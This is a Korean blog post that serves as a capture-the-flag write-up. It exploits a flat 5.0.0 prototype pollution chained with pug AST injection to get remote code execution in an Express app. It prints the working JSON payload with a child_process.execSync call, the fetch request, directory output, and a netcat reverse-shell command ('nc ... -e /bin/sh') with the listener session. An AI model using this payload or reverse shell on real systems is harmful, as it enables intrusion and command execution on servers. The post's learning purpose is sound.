티스토리 뷰

728x90
반응형

문제 첫 페이지

처음에 들어가면 위와 같은 페이지가 나옵니다. 그리고 아래 input form 이 있고 name 에 이름을 입력하고 send 버튼을 누르면 /api/submit URL로 application/json 타입으로 POST 요청이 보내집니다.

 

POST /api/submit HTTP/1.1
Host: 139.59.166.56:30516
Content-Length: 170
Content-Type: application/json

{"artist.name":"Domdomi"}

이에 대한 response 로는 아래와 같이 옵니다.

{"response":"Please provide us with the full name of an existing member."}

SQL Injection 을 시도해보거나 Command Injection 을 시도해보았지만 별다른 성과가 없었고, 즉시 제공받은 소스코드를 확인해보았습니다.

 

Dockerfile
딱히 중요한 거라고는 작업 디렉토리가 /app 경로라는 점입니다.
WORKDIR /app

 

entrypoint.sh
특별한 거라고는 flag 파일의 위치는 /app 하위 디렉토리에 있으며, flag 문자열 다음에 랜덤한 문자열이 추가된다는 것입니다. 어쩔 수 없이 flag 이름을 알아내야 한다는 것을 뜻하는 것 같습니다.
FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
mv /app/flag /app/flag$FLAG

 

package.json
express 웹서버를 사용하고, flat 모듈과 pug 템플릿 엔진을 사용하는 것으로 보여집니다.
그리고 해당 버전에는 Prototype Pollution 과 RCE 취약점이 존재했습니다.
https://snyk.io/vuln/SNYK-JS-FLAT-596927
https://snyk.io/vuln/SNYK-JS-PUG-1071616
"dependencies": {
	"express": "^4.17.1",
	"flat": "5.0.0",
	"pug": "^3.0.0"
}

 

app/index.js
여기서 중요한 점으로는 /static 파일이 static 폴더 그대로 매핑되어 있으며, routes 모듈을 살펴봐야한다는 점입니다.
const routes        = require('./routes');
app.use('/static', express.static(path.resolve('static')));
app.use(routes);

 

app/routes/index.js
/api/submit 라우터를 보면 javascript prototype pollution 취약점의 attack vector로써 unflatten 함수가 보입니다.
그리고 RCE 취약점에 이용되는 pug 모듈은 if 문이 참일 경우에 실행되도록 코드가 작성되어져 있습니다.
그렇기 때문에 취약점 prototype pollution with RCE exploit 이 성공하기 위해서는 올바른 artist.name 을 request 시 json 객체에 넣어줄 필요가 있어 보입니다.
const path              = require('path');
const express           = require('express');
const pug        		= require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

module.exports = router;

 

flat 5.0.0 에 대한 prototype pollution 그리고 pug 3.0.0 에 대한 RCE 취약점에 대한 참고 자료로는 다음 사이트를 참고했습니다.

https://blog.p6.is/AST-Injection/#Exploit

 

AST Injection, Prototype Pollution to RCE

This article describes how to trigger RCEin two well-known template engines,using a new technique called AST Injection.AST InjectionWhat is AST?https://en.wikipedia.org/wiki/Abstract_syntax_treeAST in

blog.p6.is

 

Payload

javascript Fetch API 를 이용한 페이로드를 작성해보았습니다.

var jsonData = {"artist.name":"Haigh","__proto__.block": {"type": "Text","line":"process.mainModule.require('child_process').execSync(`ls -al > /app/static/domdom`).toString()"}};
fetch("http://139.59.166.56:30516/api/submit", {
  "headers": {
    "accept": "*/*",
    "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
    "cache-control": "no-cache",
    "content-type": "application/json",
    "pragma": "no-cache",
    "proxy-connection": "keep-alive"
  },
  "referrer": "http://139.59.166.56:30516/",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": JSON.stringify(jsonData),
  "method": "POST",
  "mode": "cors",
  "credentials": "omit"
});

 

해당 페이로드 전송 후 /static/domdom경로로 Request 요청을 하면 domdom라는 파일을 다운로드 받을 수 있습니다. 그리고 그 내용으로는 방금 위에서 작성한 명령어의 결과로 현재 경로의 디렉토리 리스트가 보이게 됩니다.

total 68
drwxr-xr-x    1 root     root          4096 Aug 16 18:08 .
drwxr-xr-x    1 root     root          4096 Aug 16 18:08 ..
-rw-r--r--    1 nobody   nobody          56 Aug 13 19:16 flagOcUi8
-rw-r--r--    1 nobody   nobody         441 Oct  9  2020 index.js
drwxr-xr-x   89 root     root          4096 Aug 13 19:40 node_modules
-rw-r--r--    1 nobody   nobody         359 Oct  9  2020 package.json
drwxr-xr-x    2 nobody   nobody        4096 Aug 13 19:39 routes
drwxr-xr-x    1 nobody   nobody        4096 Aug 16 18:44 static
drwxr-xr-x    2 nobody   nobody        4096 Aug 13 19:39 views
-rw-r--r--    1 nobody   nobody       26114 Oct  9  2020 yarn.lock

 

이후 다시 명령어를 cat flagOcUi8 로 하여 플래그를 출력할 수 있습니다.

 

추가로 Information/Error Disclosure 취약점도 있었는데, 다음은 asdf 가 존재하지 않아 오류가 나는 것을 보여주는 response 값입니다.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: asdf<br>/bin/sh: asdf: not found<br> on line 1<br> &nbsp; &nbsp;at checkExecSyncError (child_process.js:621:11)<br> &nbsp; &nbsp;at Object.execSync (child_process.js:657:15)<br> &nbsp; &nbsp;at eval (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), &lt;anonymous&gt;:13:63)<br> &nbsp; &nbsp;at template (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), &lt;anonymous&gt;:17:7)<br> &nbsp; &nbsp;at /app/routes/index.js:16:81<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/app/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /app/node_modules/express/lib/router/index.js:281:22</pre>
</body>
</html>

그리고 위 취약점을 통해서 /dev 경로에 파일을 만들 수 없다는 것을 알았고, nc 명령어가 동작한다는 것을 알았습니다.

그래서 nc 내아이피주소 포트번호 -e /bin/sh 명령을 통해서 shell 을 획득할 수 있었습니다.

C:\Users\domdomi>nc -nlvp 9090
listening on [any] 9090 ...
connect to [192.168.219.100] from (UNKNOWN) [139.59.166.56] 41799
ls
flagOcUi8
index.js
node_modules
package.json
routes
static
views
yarn.lock
pwd
/app
whoami
nobody

 

728x90
반응형
댓글